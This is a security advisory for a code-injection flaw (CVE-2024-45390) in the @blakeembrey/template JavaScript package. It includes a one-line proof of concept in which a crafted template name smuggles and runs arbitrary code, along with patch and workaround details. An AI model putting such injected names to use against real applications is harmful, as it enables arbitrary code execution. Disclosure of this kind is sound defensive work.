Impact

It is possible to inject and run code within the template if the attacker has access to write the template name.

const { template } = require('@blakeembrey/template');

template("Hello {{name}}!", "exploit() {} && ((()=>{ console.log('success'); })()) && function pwned");

Patches

Upgrade to 1.2.0.

Workarounds

Don't pass untrusted input as the template display name, or don't use the display name feature.

References

Fixed by removing in blakeembrey/js-template@b8d9aa9.

References

• GHSA-q765-wm9j-66qj
• blakeembrey/js-template@b8d9aa9
• https://nvd.nist.gov/vuln/detail/CVE-2024-45390